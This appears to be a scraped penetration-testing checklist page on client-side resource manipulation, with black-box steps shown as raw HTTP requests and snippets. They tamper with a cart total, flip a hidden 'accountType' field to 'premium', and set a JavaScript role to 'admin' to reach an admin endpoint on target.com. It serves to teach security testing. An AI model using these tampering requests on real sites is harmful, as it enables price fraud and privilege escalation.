Client Side Resource Manipulation
Check List
Methodology
Black Box
JavaScript Price Manipulation
1
2
3
GET /static/app.js HTTP/1.1
Host: target.com4
function calculateTotal(price, quantity){
return price * quantity;
}5
POST /api/cart/update HTTP/1.1
Host: target.com
Cookie: session=abc123
Content-Type: application/json
{"productId":101,"quantity":1,"total":100}6
{"productId":101,"quantity":1,"total":1}7
8
Hidden Form Field Manipulation
1
2
<input type="hidden" name="accountType" value="basic">3
POST /profile/update HTTP/1.1
Host: target.com
Cookie: session=abc123
Content-Type: application/x-www-form-urlencoded
username=user1&accountType=basic4
username=user1&accountType=premium5
JavaScript-Based Access Control
1
2
if(user.role === "admin"){
showAdminPanel();
}3
user.role="admin"
showAdminPanel();4
GET /api/admin/dashboard HTTP/1.1
Host: target.com
Cookie: session=abc1235
6
White Box
Cheat Sheet
Last updated